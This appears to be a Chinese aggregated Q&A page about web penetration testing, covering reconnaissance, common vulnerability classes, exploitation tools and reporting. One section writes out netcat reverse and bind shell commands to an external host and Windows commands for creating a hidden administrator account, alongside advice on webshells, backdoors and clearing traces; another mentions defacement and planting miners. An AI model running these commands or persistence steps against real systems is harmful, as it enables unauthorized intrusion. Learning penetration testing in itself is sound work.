当前位置:首页 » 网页前端 » web渗透测试详解
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

web渗透测试详解

发布时间: 2022-08-11 09:06:22

① 网站渗透测试,怎么进行

1.信息收集:

1)、获取域名的whois信息,获取注册者邮箱姓名电话等。

2)、查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。

3)、查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。

4)、查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。

5)、扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针。

6)、google hack 进一步探测网站的信息,后台,敏感文件。

2.漏洞扫描:

开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等。

3.漏洞利用:

利用以上的方式拿到webshell,或者其他权限。

4.权限提升:

提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权。

5.日志清理:

结束渗透测试工作需要做的事情,抹除自己的痕迹。

需要规避的风险:

1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。

2. 测试验证时间放在业务量最小的时间进行。

3. 测试执行前确保相关数据进行备份

4. 所有测试在执行前和维护人员进行沟通确认。

② 如何进行Web渗透测试

什么是渗透测试?

渗透测试,是渗透测试工程师完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标网络、主机、应用的安全作深入的探测,发现系统最脆弱的环节。

如何进行Web渗透测试?

完整web渗透测试框架当需要测试的web应用数以千计,就有必要建立一套完整的安全测试框架,流程的最高目标是要保证交付给客户的安全测试服务质量。

1、立项:项目建立,时间安排,人力分配,目标制定,厂商接口人确定;

系统分析&威胁分析:针对具体的web应用,分析系统架构、使用的组件、对外提供的接口等,以STRIDE为威胁模型进行对应的安全威胁分析,输出安全威胁分析表,重点关注top3威胁;

制定测试用例:根据威胁分析的结果制定对应的测试用例,测试用例按照模板输出,具备可执行性;

测试执行&漏洞挖掘:测试用例执行&发散测试,挖掘对应的安全问题or漏洞;

问题修复&回归测试:指导客户应用开发方修复安全问题or漏洞,并进行回归测试,确保安全问题or漏洞得到修复,并且没有引入新的安全问题;

项目总结评审:项目过程总结,输出文档评审,相关文档归档。

2、Web应用的渗透测试流程

主要分为3个阶段,分别是:信息收集→漏洞发现→漏洞利用,下面仔细分析一下各个阶段流程:

一、信息收集

在信息收集阶段,我们需要尽量多的收集关于目标web应用的各种信息,比如:脚本语言的类型、服务器的类型、目录的结构、使用的开源软件、数据库类型、所有链接页面,用到的框架等

脚本语言的类型:常见的脚本语言的类型包括:php、asp、aspx、jsp等

测试方法:

1 爬取网站所有链接,查看后缀

2 直接访问一个不存在页面后面加不同的后缀测试

3 查看robots.txt,查看后缀

服务器的类型:常见的web服务器包括:apache、tomcat、IIS、ngnix等

测试方法:

1 查看header,判断服务器类型

2 根据报错信息判断

3 根据默认页面判断

目录的结构:了解更多的目录,可能发现更多的弱点,如:目录浏览、代码泄漏等。

测试方法

1 使用字典枚举目录

2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取

3 查看robots.txt是否泄漏

使用的开源软件:我们如果知道了目标使用的开源软件,我们可以查找相关的软件的漏洞直接对网站进行测试。

测试方法

指纹识别(网络上有很多开源的指纹识别工具)

数据库类型:对于不同的数据库有不同的测试方法。

测试方法

1 使应用程序报错,查看报错信息

2 扫描服务器的数据库端口(没做NAT且防火墙不过滤时有效)

所有链接页面:这个跟前面的获取目录结构类似,但是这个不只是获取网站的所有功能页面,有时候还可以获取到管理员备份的源码。

测试方法

1 使用字典枚举页面

2 使用爬虫爬取整个网站,或者使用google等搜索引擎获取

3 查看robots.txt是否泄漏

用到的框架:很多网站都利用开源的框架来快速开发网站,所以收集网站的框架信息也是非常关键的。

测试方法

指纹识别(网络上有很多开源的指纹识别工具)

二、漏洞发现

在这个阶段我们在做测试的时候要对症下药,不能盲目的去扫描,首先要确定目标应用是否使用的是公开的开源软件,开源框架等、然后在做深一度的漏洞扫描。

关于开源软件的漏洞发现

开源的软件:常见的开源软件有wordpress、phpbb、dedecms等

开源的框架:常见的开源框架有Struts2、 Spring MVC、ThinkPHP等

中间件服务器:常见的中间件服务器有jboss、tomcat、Weblogic等

数据库服务:常见的数据库服务mssql、mysql、oracle、redis、sybase、MongoDB、DB2等

对于开源软件的测试方法

1 通过指纹识别软件判断开源软件的版本信息,针对不同的版本信息去开放的漏洞数据库查找相应版本的漏洞进行测试

2 对于默认的后台登录页、数据库服务端口认证等入口可以进行简单的暴力破解、默认口令尝试等操作

3 使用开源的漏洞发现工具对其进行漏洞扫描,如:WPScan

关于自主开发的应用

手动测试:这个阶段,我们需要手工测试所有与用户交互的功能,比如:留言、登入、下单、退出、退货、付款等操作

软件扫描:使用免费的软件扫描,如:appscan、wvs、netsparker,burp等

可能存在的漏洞

Owasp关键点

代码安全之上传文件

代码安全之文件包含

代码安全之SSRF

逻辑漏洞之密码重置

逻辑漏洞之支付漏洞

逻辑漏洞之越权访问

平台安全之中间件安全

三、漏洞利用

针对不同的弱点有不同的漏洞利用方式,需要的知识点也比较多。一般这个阶段包括两种方式,一种是手工测试,一种是工具测试

手工测试

手工测试是通过客户端或服务器访问目标服务,手工向目标程序发送特殊的数据,包括有效的和无效的输入,观察目标的状态、对各种输入的反应,根据结果来发现问题的漏洞检测技术。手工测试不需要额外的辅助工具,可由测试者独立完成,实现起来比较简单。但这种方法高度依赖于测试者,需要测试者对目标比较了解。手工测试可用于Web应用程序、浏览器及其他需要用户交互的程序。

这种方式对于有特殊过滤等操作,或者网络上没有成型的利用工具的时候可以使用。

工具测试

网络上有很多好用的免费利用工具,比如针对sql注入的sqlmap、针对软件漏洞的matesploit等。

③ web渗透是什么

Web渗透测试分为白盒测试和黑盒测试,白盒测试是指目标网站的源码等信息的情况下对其渗透,相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透,以下所说的Web渗透就是黑盒渗透。

Web渗透分为以下几个步骤,信息收集,漏洞扫描,漏洞利用,提权,内网渗透,留后门,清理痕迹。一般的渗透思路就是看是否有注入漏洞,然后注入得到后台管理员账号密码,登录后台,上传小马,再通过小马上传大马,提权,内网转发,进行内网渗透,扫描内网c段存活主机及开放端口,看其主机有无可利用漏洞(nessus)端口(nmap)对应服务及可能存在的漏洞,对其利用(msf)拿下内网,留下后门,清理痕迹。或者看是否有上传文件的地方,上传一句话木马,再用菜刀链接,拿到数据库并可执行cmd命令,可继续上大马.........思路很多,很多时候成不成功可能就是一个思路的问题,技术可以不高,思路一定得骚。

信息收集

信息收集是整个流程的重中之重,前期信息收集的越多,Web渗透的成功率就越高。

DNS域名信息:通过url获取其真实ip,子域名(Layer子域名爆破机),旁站(K8旁站,御剑1.5),c段,网站负责人及其信息(whois查询)

整站信息:服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型;

网站常见搭配为:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目录信息(御剑,dirbust)

开放端口信息(nmp)

漏洞扫描

利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描,看其是否有可利用漏洞。

常见漏洞:

SQL注入

XSS跨站脚本

CSRF跨站请求伪造

XXE(XML外部实体注入)漏洞

SSRF(服务端请求伪造)漏洞

文件包含漏洞

文件上传漏洞

文件解析漏洞

远程代码执行漏洞

CORS跨域资源共享漏洞

越权访问漏洞

目录遍历漏洞和任意文件读取/下载漏洞

漏洞利用

用工具也好什么也好对相应漏洞进行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

后台密码爆破(burp)

端口爆破(hydra)

提权

获得shell之后我们权限可能很低,因此要对自己提权,可以根据服务器版本对应的exp进行提权,对于Windows系统也可看其补丁对应漏洞的exp进行提权

内网渗透

首先进行端口转发可用nc

nc使用方法:

反向连接

在公网主机上进行监听:

nc-lvp 4444

在内网主机上执行:

nc-e cmd.exe 公网主机ip4444

成功之后即可得到一个内网主机shell

正向连接

远程主机上执行:

nc-l -p 4444 -t -e cmd.exe

本地主机上执行:

nc-vv 远程主机ip4444

成功后,本地主机即可远程主机的一个shell

然后就是对内网进行渗透了,可以用主机漏洞扫描工具(nessus,x-scan等)进行扫描看是否有可用漏洞,可用msf进行利用,或者用nmap扫描存活主机及开放端口,可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门

留后门

对于网站上传一句话木马,留下后门

对于windows用户可用hideadmin创建一个超级隐藏账户

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

这样的话在cmd命令中看不到,但在控制面板可以看到,还需要改注册表才能实现控制版面也看不到,太过麻烦,不多赘述,所以还是用工具省心省力。

④ 渗透测试有哪些类型该如何做好渗透测试

渗透测试可以分为:网络渗透测试、Web应用渗透测试、移动应用渗透测试、API渗透测试和物联网渗透测试这些类型,青藤云安全的高级安全工程师,有着丰富的渗透测试经验可以全方位为企业提供安全建议。

⑤ 什么是wed渗透测试

应该说的是web渗透测试吧。
web就是网站、网站的应用这个层次的。
也就是主要是用于测试网站的安全性的一种安全检测。

⑥ 什么是网络渗透测试,高级渗透测试方法

网络渗透测试:

渗透测试是一种最老的评估计算机系统安全性的方法。在70年代初期,国防部就曾使用这种方法发现了计算机系统的安全漏洞,并促使开发构建更安全系统的程序。渗透测试越来越多地被许多组织用来保证信息系统和服务的安全性,从而使安全性漏洞在暴露之前就被修复。

高级渗透测试方法:

模拟黑客攻击对业务系统进行安全性测试。通过模拟黑客攻击的方式(无需网站代码和服务器权限),对企业的在线平台进行全方位渗透入侵测试,比黑客更早发现可导致企业数据泄露、资产受损、数据被篡改等漏洞,并协助企业进行漏洞修复,保护企业数据安全。

⑦ web渗透测试是如何进行的

这个是通过多方面的渗透测试进行的,比如说服务器渗透测试、应用层测试等,具体的网堤安全可以解答。

⑧ 一个完整的渗透测试流程,分为那几块,每一块有哪些内容

包含以下几个流程:

信息收集

第一步做的就是信息收集,根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。

漏洞探测

当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:SQL注入 。

漏洞利用

探测到了该网站存在漏洞之后,就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。

内网渗透

当我们能跟内网主机进行通信后,我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描,探测在线的主机,并且探测其使用的操作系统、开放的端口等信息。

内网中也有可能存在供内网使用的内网服务器,可以进一步渗透拿下其权限。

痕迹清除

达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马。

撰写渗透测试保告

在完成了渗透测试之后,就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击。

⑨ 渗透测试需要学那些知识

web黑客渗透测试入门需要学哪些?

学习web渗透,就是从零散到整体。我们入门门槛比较低,学会用工具就可以了。但是从入门到另一个层次就比较难了,也是大部分脚本小子迷茫的地方。

在web渗透的核心那就是思路,大量的思路来源是来自于自己的知识积累和丰富的经验。 学而不思则罔思而不学则殆。

当我找到了一个注入点:

首先放进工具一点,工具提示不存在注入。很奇怪,明明是存在的,发个某大牛,某大你不想说话并向你扔了个链接,你发现居然爆出了帐号密码。

太多的人都是处于这个超级小白阶段,这个阶段处于菜鸟阶段,我称为打哪是哪。

我来问问:

brup suite你会用?你会用来做什么,爆破?你知道怎么抓包分析post注入吗?你知道绕过上传时brup suite的神奇之处吗?

sqlmap 你会用?你会用来做什么,-u?-dbs?你知道怎么在sqlmap中执行sql语句吗?你知道sqlmap怎么反弹shell吗?

xss 你都懂?你知道xss平台那么多模块都有什么妙用吗?你知道尖括号过滤都有哪些绕过方式吗?

入门学习思考 可能遇到的问题 和新手需知:

你知道svn源代码泄露是什么?通过审计代码能做到什么吗?

你知道在发现st2漏洞命令执行时出现目录限制的时候怎么突破吗?有多少种方式可以突破,在什么样的场景下容易出现,如果有杀软怎么绕过吗?

你知道在3306允许外链的情况下可以爆破吗?你以为扫描器会把端口的风险都列出来给你吗?

你知道一个缜密的邮箱伪造&社工可能就能导致网站沦陷吗?

你知道遇到weblogic等弱口令的时候如何去部署war拿shell吗?

你知道各种java中间件的端口是哪些吗?各种反序列化漏洞是怎么样快速定位数据库配置文件的吗?

你知道http://ASP.NET填充Oracle漏洞的利用方法吗?你知道扫描器都是误报吗?你知道手工怎么测试漏洞真实存在吗?

你知道oa系统都有哪些通用注入和无限制getshell吗?

你知道phpmyadmin可以爆破吗?什么样的版本可以爆路径,什么样的版本几乎拿不到shell吗?

太多太多了,我上面提到的也只是web方面的冰山一角,后面的提权、内网等等难题如海。

⑩ web渗透测试工具

第一个:NST
NST一套免费的开源应用程序,是一个基于Fedora的Linux发行版,可在32和64位平台上运行。这个可启动的Live
CD是用于监视、分析和维护计算机网络上的安全性;它可以很容易地将X86系统转换为肉机,这有助于入侵检测,网络流量嗅探,网络数据包生成,网络/主机扫描等。
第二个:NMAP
NMAP是发现企业网络中任何类型的弱点或漏洞的绝佳工具,它也是审计的好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用,正在使用什么操作系统,以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。NMAP对渗透测试过程的任何阶段都很有用并且还是免费的。
第三个:BeEF工具
BeEF工具主要利用移动端的客户,它的作用是用于检查Web浏览器,对抗Web抗击。BeEF用GitHub找漏洞,它探索了Web边界和客户端系统之外的缺陷。很重要的是,它是专门针对Web浏览器的,能够查看单个源上下文中的漏洞。
第四个:Acunetix Scanner
它是一款知名的网络漏洞扫描工具,能审计复杂的管理报告和问题,并且通过网络爬虫测试你的网站安全,检测流行安全漏洞,还能包含带外漏洞。它具有很高的检测率,覆盖超过4500个弱点;此外,这个工具包含了AcuSensor技术,手动渗透工具和内置漏洞测试,可快速抓取数千个网页,大大提升工作效率。
第五个:John the Ripper
它是一个简单可快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持大多数的加密算法,如DES、MD4、MD5等。